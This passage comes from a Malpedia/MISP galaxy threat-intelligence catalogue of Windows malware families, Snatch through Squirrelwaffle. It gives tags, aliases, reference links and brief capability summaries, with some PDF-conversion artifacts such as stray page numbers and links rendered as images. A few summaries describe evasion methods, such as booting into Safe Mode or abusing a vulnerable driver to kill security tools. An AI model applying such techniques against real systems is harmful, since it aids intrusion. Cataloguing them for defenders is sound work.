<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.snake">https://malpedia.caad.fkie.fraunhofer.de/details/win.snake</a></td>
</tr>
</tbody>
</table>
**Snatch**

Snatch is a ransomware which infects victims by rebooting the PC into Safe Mode. Most of the existing security protections do not run in Safe Mode so that it the malware can act without expected countermeasures and it can encrypt as many files as it finds. It uses common packers such as UPX to hide its payload.

The tag is: *misp-galaxy:malpedia=*Snatch*

Snatch is also known as:

*Table 4144. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch">https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch</a></td>
</tr>
<tr>
<td><a href="https://github.com/albertzsigovits/malware-notes/blob/master/Snatch.md">https://github.com/albertzsigovits/malware-notes/blob/master/Snatch.md</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access">https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2020/06/21/snatch-ransomware/">https://thedfirreport.com/2020/06/21/snatch-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/">https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/1191414501297528832">https://twitter.com/VK_Intel/status/1191414501297528832</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/a-brief-history-of-ta505">https://intel471.com/blog/a-brief-history-of-ta505</a></td>
</tr>
</tbody>
</table>

**SnatchCrypto**

Malware observed in the SnatchCrypto campaign, attributed by Kaspersky Labs to BlueNoroff with high confidence.

The tag is: *misp-galaxy:malpedia=*SnatchCrypto*

SnatchCrypto is also known as:

*Table 4145. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>1861</td>
</tr>
</tbody>
</table>
SnatchLoader

A downloader trojan with some infostealer capabilities focused on the browser. Previously observed as part of RigEK campaigns.

The tag is: `misp-galaxy:malpedia="SnatchLoader"`

SnatchLoader is also known as:

**Table 4146. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader">https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader</a></td>
</tr>
<tr>
<td><a href="https://www.arbornetworks.com/blog/asert/snatchloader-reloaded/">https://www.arbornetworks.com/blog/asert/snatchloader-reloaded/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=k3sM88o_maM">https://www.youtube.com/watch?v=k3sM88o_maM</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/898549340121288704">https://twitter.com/VK_Intel/status/898549340121288704</a></td>
</tr>
<tr>
<td><a href="https://myonlinesecurity.co.uk/your-order-no-8194788-has-been-processed-malspam-delivers-malware/">https://myonlinesecurity.co.uk/your-order-no-8194788-has-been-processed-malspam-delivers-malware/</a></td>
</tr>
</tbody>
</table>

SNEEPY

The tag is: `misp-galaxy:malpedia="SNEEPY"`

SNEEPY is also known as:

- ByeByeShell

**Table 4147. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sneepy">https://malpedia.caad.fkie.fraunhofer.de/details/win.sneepy</a></td>
</tr>
</tbody>
</table>
Snifula

The tag is: misp-galaxy:malpedia="Snifula"

Snifula is also known as:

- Ursnif

Table 4148. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula">https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/">https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/</a></td>
</tr>
<tr>
<td><a href="https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/">https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/</a></td>
</tr>
<tr>
<td><a href="https://kostas-ts.medium.com/ursnif-vs-italy-il-pdf-del-destino-5c83d6281072">https://kostas-ts.medium.com/ursnif-vs-italy-il-pdf-del-destino-5c83d6281072</a></td>
</tr>
</tbody>
</table>

Snojan

The tag is: misp-galaxy:malpedia="Snojan"

Snojan is also known as:

Table 4149. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.snojan">https://malpedia.caad.fkie.fraunhofer.de/details/win.snojan</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@jacob16682/snojan-analysis-bb3982fb1bb9">https://medium.com/@jacob16682/snojan-analysis-bb3982fb1bb9</a></td>
</tr>
</tbody>
</table>

SnowFlake Stealer

Information stealer, written in Rust.

The tag is: misp-galaxy:malpedia="SnowFlake Stealer"

SnowFlake Stealer is also known as:

Table 4150. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.snowflake_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.snowflake_stealer</a></td>
</tr>
</tbody>
</table>
## SNS Locker

The tag is: `misp-galaxy:malpedia="SNS Locker"`

SNS Locker is also known as:

<table>
<thead>
<tr>
<th>Table 4151. Table References</th>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.snslocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.snslocker</a></td>
</tr>
</tbody>
</table>

## Sobaken

According to ESET, this RAT was derived from (the open-source) Quasar RAT.

The tag is: `misp-galaxy:malpedia="Sobaken"`

Sobaken is also known as:

<table>
<thead>
<tr>
<th>Table 4152. Table References</th>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sobaken">https://malpedia.caad.fkie.fraunhofer.de/details/win.sobaken</a></td>
</tr>
</tbody>
</table>

## Sobig

The tag is: `misp-galaxy:malpedia="Sobig"`

Sobig is also known as:

- Palyh

<table>
<thead>
<tr>
<th>Table 4153. Table References</th>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sobig">https://malpedia.caad.fkie.fraunhofer.de/details/win.sobig</a></td>
</tr>
</tbody>
</table>

## Socelars

Socelars is an infostealer with main focus on: * Facebook Stealer (ads/manager) * Cookie Stealer | AdsCreditCard {Amazon}
Socelars is also known as:

Table 4154. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.socelars">https://malpedia.caad.fkie.fraunhofer.de/details/win.socelars</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/1201584107928653824">https://twitter.com/VK_Intel/status/1201584107928653824</a></td>
</tr>
</tbody>
</table>

Sockbot

Sockbot is a customized and in Go written fork of the Ligolo reverse tunneling open-source tool. Several modification were performed by the threat actors who rewrote that code, e.g. execution checks, hardcoded values. Ligolo: https://github.com/sysdream/ligolo

The tag is: misp-galaxy:malpedia="Sockbot"

Sockbot is also known as:

Table 4155. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sockbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.sockbot</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html">https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=CAMnuhg-Qos">https://www.youtube.com/watch?v=CAMnuhg-Qos</a></td>
</tr>
</tbody>
</table>

Socks5 Systemz

The tag is: misp-galaxy:malpedia="Socks5 Systemz"

Socks5 Systemz is also known as:

Table 4156. Table References
SocksBot

The tag is: `misp-galaxy:malpedia="SocksBot"`

SocksBot is also known as:

- BIRDDOG
- Nadrac

Table 4157. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot</a></td>
</tr>
<tr>
<td><a href="https://assets.sentinelone.com/sentinellabs22/sentinellabs-blackbasta">https://assets.sentinelone.com/sentinellabs22/sentinellabs-blackbasta</a></td>
</tr>
</tbody>
</table>

SodaMaster

This is a RAT that is usually loaded with one or more shellcode and/or reflective DLL injection techniques. The RAT uses RC4 or a hardcoded RSA key for traffic encryption/decryption. Its communication can either happen via a raw TCP socket or a HTTP POST request. Depending on the version, the RAT may remotely execute DLLs or shellcode.

The tag is: `misp-galaxy:malpedia="SodaMaster"`

SodaMaster is also known as:

- DelfsCake
- HEAVYPOT
- dfls

Table 4158. Table References
## Solar

The tag is: `misp-galaxy:malpedia="Solar"`

Solar is also known as:

### Table 4159. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

## Solarbot

The tag is: `misp-galaxy:malpedia="Solarbot"`

Solarbot is also known as:

- Napolar

### Table 4160. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot</a></td>
</tr>
</tbody>
</table>
Unit 42 notes that they identified a new version of SolarMarker, a malware family known for its infostealing and backdoor capabilities, mainly delivered through search engine optimization (SEO) manipulation to convince users to download malicious documents.

Some of SolarMarker’s capabilities include the exfiltration of auto-fill data, saved passwords and saved credit card information from victims' web browsers. Besides capabilities typical for infostealers, SolarMarker has additional capabilities such as file transfer and execution of commands received from a C2 server.

The malware invests significant effort into defense evasion, which consists of techniques like signed files, huge files, impersonation of legitimate software installations and obfuscated PowerShell scripts.

The tag is: *misp-galaxy:malpedia="solarmarker"*

**solarmarker** is also known as:

- Jupyter
- Polazert
- Yellow Cockatoo

*Table 4161. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.solarmarker">https://malpedia.caad.fkie.fraunhofer.de/details/win.solarmarker</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MsftSecIntel/status/1403461397283950597">https://twitter.com/MsftSecIntel/status/1403461397283950597</a></td>
</tr>
<tr>
<td><a href="https://squiblydoo.blog/2022/09/27/solarmarker-the-old-is-new/">https://squiblydoo.blog/2022/09/27/solarmarker-the-old-is-new/</a></td>
</tr>
<tr>
<td><a href="https://blog.minerva-labs.com/new-iocs-of-jupyter-stealer">https://blog.minerva-labs.com/new-iocs-of-jupyter-stealer</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/solarmarker-malware/">https://unit42.paloaltonetworks.com/solarmarker-malware/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis/">https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis/</a></td>
</tr>
<tr>
<td><a href="https://security5magics.blogspot.com/2020/12/tracking-jupyter-malware.html">https://security5magics.blogspot.com/2020/12/tracking-jupyter-malware.html</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction">https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction</a></td>
</tr>
<tr>
<td><a href="https://www.prodaft.com/m/reports/Solarmarker_TLPWHITEv2.pdf">https://www.prodaft.com/m/reports/Solarmarker_TLPWHITEv2.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-solarmarker">https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-solarmarker</a></td>
</tr>
</tbody>
</table>
SolidBit

Ransomware, written in .NET.

The tag is: `misp-galaxy:malpedia="SolidBit"`

SolidBit is also known as:

Table 4162. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.solidbit">https://malpedia.caad.fkie.fraunhofer.de/details/win.solidbit</a></td>
</tr>
</tbody>
</table>

SombRAT

The tag is: `misp-galaxy:malpedia="SombRAT"`

SombRAT is also known as:

Table 4163. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sombrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.sombrat</a></td>
</tr>
</tbody>
</table>

Somnia

The tag is: `misp-galaxy:malpedia="Somnia"`

Somnia is also known as:

Table 4164. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.somnia">https://malpedia.caad.fkie.fraunhofer.de/details/win.somnia</a></td>
</tr>
</tbody>
</table>
Sorano

The tag is: misp-galaxy:malpedia="Sorano"

Sorano is also known as:

Table 4165. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://3xp0rt.xyz/lpmikVic">https://3xp0rt.xyz/lpmikVic</a></td>
</tr>
<tr>
<td><a href="https://github.com/Alexuiop1337/SoranoStealer">https://github.com/Alexuiop1337/SoranoStealer</a></td>
</tr>
<tr>
<td><a href="https://github.com/3xp0rt/SoranoStealer">https://github.com/3xp0rt/SoranoStealer</a></td>
</tr>
</tbody>
</table>

soraya

The tag is: misp-galaxy:malpedia="soraya"

soraya is also known as:

Table 4166. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.soraya">https://malpedia.caad.fkie.fraunhofer.de/details/win.soraya</a></td>
</tr>
</tbody>
</table>

SoreFang

The tag is: misp-galaxy:malpedia="SoreFang"

SoreFang is also known as:

Table 4167. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a</a></td>
</tr>
</tbody>
</table>

Sorgu

The tag is: misp-galaxy:malpedia="Sorgu"
Sorgu is also known as:

Table 4168. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sorgu">https://malpedia.caad.fkie.fraunhofer.de/details/win.sorgu</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east">https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east</a></td>
</tr>
</tbody>
</table>

**Soul**

The tag is: *misp-galaxy:malpedia*="Soul"

Soul is also known as:

- SoulSearcher

Table 4169. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.soul">https://malpedia.caad.fkie.fraunhofer.de/details/win.soul</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/unraveling-the-evolution-of-the-soul-searcher-malware">https://www.fortinet.com/blog/threat-research/unraveling-the-evolution-of-the-soul-searcher-malware</a></td>
</tr>
</tbody>
</table>

**SOUNDBITE**

The tag is: *misp-galaxy:malpedia*="SOUNDBITE"

SOUNDBITE is also known as:

- denis

Table 4170. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite">https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite</a></td>
</tr>
<tr>
<td><a href="https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection">https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/wiki/Software/S0157">https://attack.mitre.org/wiki/Software/S0157</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/tin-woodlawn">https://www.secureworks.com/research/threat-profiles/tin-woodlawn</a></td>
</tr>
</tbody>
</table>
SPACESHIP

SPACESHIP searches for files with a specified set of file extensions and copies them to a removable drive. FireEye believes that SHIPSHAPE is used to copy SPACESHIP to a removable drive, which could be used to infect another victim computer, including an air-gapped computer. SPACESHIP is then used to steal documents from the air-gapped system, copying them to a removable drive inserted into the SPACESHIP-infected system.

The tag is: `misp-galaxy:malpedia="SPACESHIP"`

SPACESHIP is also known as:

**Table 4171. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship">https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

Spark

The tag is: `misp-galaxy:malpedia="Spark"`

Spark is also known as:

**Table 4172. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.spark">https://malpedia.caad.fkie.fraunhofer.de/details/win.spark</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/">https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/</a></td>
</tr>
</tbody>
</table>
Sparkle

The tag is: `misp-galaxy:malpedia="Sparkle"`

Sparkle is also known as:

Table 4173. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sparkle">https://malpedia.caad.fkie.fraunhofer.de/details/win.sparkle</a></td>
</tr>
</tbody>
</table>

Sparksrv

The tag is: `misp-galaxy:malpedia="Sparksrv"`

Sparksrv is also known as:

Table 4174. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sparksrv">https://malpedia.caad.fkie.fraunhofer.de/details/win.sparksrv</a></td>
</tr>
</tbody>
</table>

SparkRAT

The tag is: `misp-galaxy:malpedia="SparkRAT"`

SparkRAT is also known as:

Table 4175. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.spark_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.spark_rat</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/en-us/security/blog/2022/12/21/microsoft-research-uncovers-new-zerobot-capabilities/">https://www.microsoft.com/en-us/security/blog/2022/12/21/microsoft-research-uncovers-new-zerobot-capabilities/</a></td>
</tr>
<tr>
<td><a href="https://blog.exatrack.com/melofee/">https://blog.exatrack.com/melofee/</a></td>
</tr>
<tr>
<td><a href="https://github.com/XZB-1248/Spark">https://github.com/XZB-1248/Spark</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/56715/">https://asec.ahnlab.com/ko/56715/</a></td>
</tr>
</tbody>
</table>
**SparrowDoor**

The tag is: `misp-galaxy:malpedia="SparrowDoor"`

SparrowDoor is also known as:

- FamousSparrow

*Table 4176. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sparrow_door">https://malpedia.caad.fkie.fraunhofer.de/details/win.sparrow_door</a></td>
</tr>
</tbody>
</table>

**Spartacus**

Spartacus is ransomware written in .NET and emerged in the first half of 2018.

The tag is: `misp-galaxy:malpedia="Spartacus"`

Spartacus is also known as:

*Table 4177. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.spartacus">https://malpedia.caad.fkie.fraunhofer.de/details/win.spartacus</a></td>
</tr>
<tr>
<td><a href="https://bartblaze.blogspot.com/2018/04/this-is-spartacus-new-ransomware-on.html">https://bartblaze.blogspot.com/2018/04/this-is-spartacus-new-ransomware-on.html</a></td>
</tr>
</tbody>
</table>

**SPECTRALVIPER**

The tag is: `misp-galaxy:malpedia="SPECTRALVIPER"`

SPECTRALVIPER is also known as:

*Table 4178. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.spectralviper">https://malpedia.caad.fkie.fraunhofer.de/details/win.spectralviper</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/fr/security-labs/elastic-charms-spectralviper">https://www.elastic.co/fr/security-labs/elastic-charms-spectralviper</a></td>
</tr>
</tbody>
</table>

**Spectre Rat**

Mixed RAT and Botnet malware sold in underground forums. In March 2021 it was advertised with the Spectre 2.0, it reached version 3 in June 2021 and then quickly version 4. This crimeware tool was being abused in malicious campaigns targeting European users in September 2021.
The tag is: misp-galaxy:malpedia="Spectre Rat"

Spectre Rat is also known as:

Table 4179. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.spectre">https://malpedia.caad.fkie.fraunhofer.de/details/win.spectre</a></td>
</tr>
</tbody>
</table>

Spedear

The tag is: misp-galaxy:malpedia="Spedear"

Spedear is also known as:

Table 4180. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.spedear">https://malpedia.caad.fkie.fraunhofer.de/details/win.spedear</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets">https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets</a></td>
</tr>
</tbody>
</table>

SPHijacker

According to Trend Micro, this is a tool designed to disable security products, adopting two approaches to achieve this purpose. One approach terminates the security product process by using a vulnerable driver, zamguard64.sys, published by Zemana (vulnerability designated as CVE-2018-5713). Meanwhile, another approach disables process launching by using a new technique that they named stack rumbling.

The tag is: misp-galaxy:malpedia="SPHijacker"

SPHijacker is also known as:

Table 4181. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sphijacker">https://malpedia.caad.fkie.fraunhofer.de/details/win.sphijacker</a></td>
</tr>
</tbody>
</table>

Spicy Hot Pot

The tag is: misp-galaxy:malpedia="Spicy Hot Pot"

Spicy Hot Pot is also known as:

Table 4182. Table References
**SPIDERPIG RAT**

The tag is: `misp-galaxy:malpedia="SPIDERPIG RAT"`

SPIDERPIG RAT is also known as:

<table>
<thead>
<tr>
<th>Table 4183. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://malpedia.caad.fkie.fraunhofer.de/details/win.spider_rat" alt="Links" /></td>
</tr>
<tr>
<td><img src="https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" alt="Links" /></td>
</tr>
<tr>
<td><img src="https://twitter.com/nahamike01/status/1471496800582664193?s=20" alt="Links" /></td>
</tr>
<tr>
<td><img src="https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf" alt="Links" /></td>
</tr>
</tbody>
</table>

**Spora**

The tag is: `misp-galaxy:malpedia="Spora"`

Spora is also known as:

<table>
<thead>
<tr>
<th>Table 4184. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom" alt="Links" /></td>
</tr>
<tr>
<td><img src="https://github.com/MinervaLabsResearch/SporaVaccination" alt="Links" /></td>
</tr>
<tr>
<td><img src="https://www.gdatasoftware.com/blog/2017/01/29442-spora-worm-and-ransomware" alt="Links" /></td>
</tr>
<tr>
<td><img src="https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/" alt="Links" /></td>
</tr>
<tr>
<td><img src="https://www.linkedin.com/pulse/spora-ransomware-understanding-hta-infection-vector-kevin-douglas" alt="Links" /></td>
</tr>
<tr>
<td><img src="https://nakedsecurity.sophos.com/2017/06/26/how-spora-ransomware-tries-to-fool-antivirus/" alt="Links" /></td>
</tr>
<tr>
<td><img src="http://malware-traffic-analysis.net/2017/01/17/index2.html" alt="Links" /></td>
</tr>
</tbody>
</table>

**SpyBot**

The tag is: `misp-galaxy:malpedia="SpyBot"`

SpyBot is also known as:

<table>
<thead>
<tr>
<th>Table 4185. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://malpedia.caad.fkie.fraunhofer.de/details/win.spybot" alt="Links" /></td>
</tr>
</tbody>
</table>

1876
Spyder

The tag is: misp-galaxy:malpedia="Spyder"

Spyder is also known as:

Table 4186. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.spybot">https://malpedia.caad.fkie.fraunhofer.de/details/win.spybot</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/">https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive">https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques">https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques</a></td>
</tr>
<tr>
<td><a href="https://vms.drweb.com/virus/?i=23648386">https://vms.drweb.com/virus/?i=23648386</a></td>
</tr>
<tr>
<td><a href="https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/">https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/</a></td>
</tr>
</tbody>
</table>

SpyEye

SpyEye is a malware targeting both Microsoft Windows browsers and Apple iOS Safari. Originated in Russia, it was available in dark forums for $500+ claiming to be the "The Next Zeus Malware". It performed many functionalities typical from bankers trojan such as keyloggers, auto-fill credit card modules, email backups, config files (encrypted), http access, Pop3 grabbers and FTP grabbers. SpyEye allowed hackers to steal money from online bank accounts and initiate transactions even while valid users are logged into their bank account.

The tag is: misp-galaxy:malpedia="SpyEye"

SpyEye is also known as:

Table 4187. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.spyeye">https://malpedia.caad.fkie.fraunhofer.de/details/win.spyeye</a></td>
</tr>
</tbody>
</table>
According to Sophos, Squirrelwaffle is a malware loader that is distributed as a malicious Office document in spam campaigns. It provides attackers with an initial foothold in a victim’s environment and a channel to deliver and infect systems with other malware. When a recipient opens a Squirrelwaffle-infected document and enables macros, a visual basic script typically downloads and executes malicious files and scripts, giving further control of the computer to an attacker. Squirrelwaffle operators also use DocuSign to try and trick the user into enabling macros in Office documents.

The tag is: misp-galaxy:malpedia="Squirrelwaffle"

Squirrelwaffle is also known as:

- DatopLoader

Table 4188. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle">https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Max_Mal_/status/1442496131410190339">https://twitter.com/Max_Mal_/status/1442496131410190339</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf">https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.cynet.com/understanding-squirrelwaffle/">https://www.cynet.com/understanding-squirrelwaffle/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html">https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html</a></td>
</tr>
</tbody>
</table>
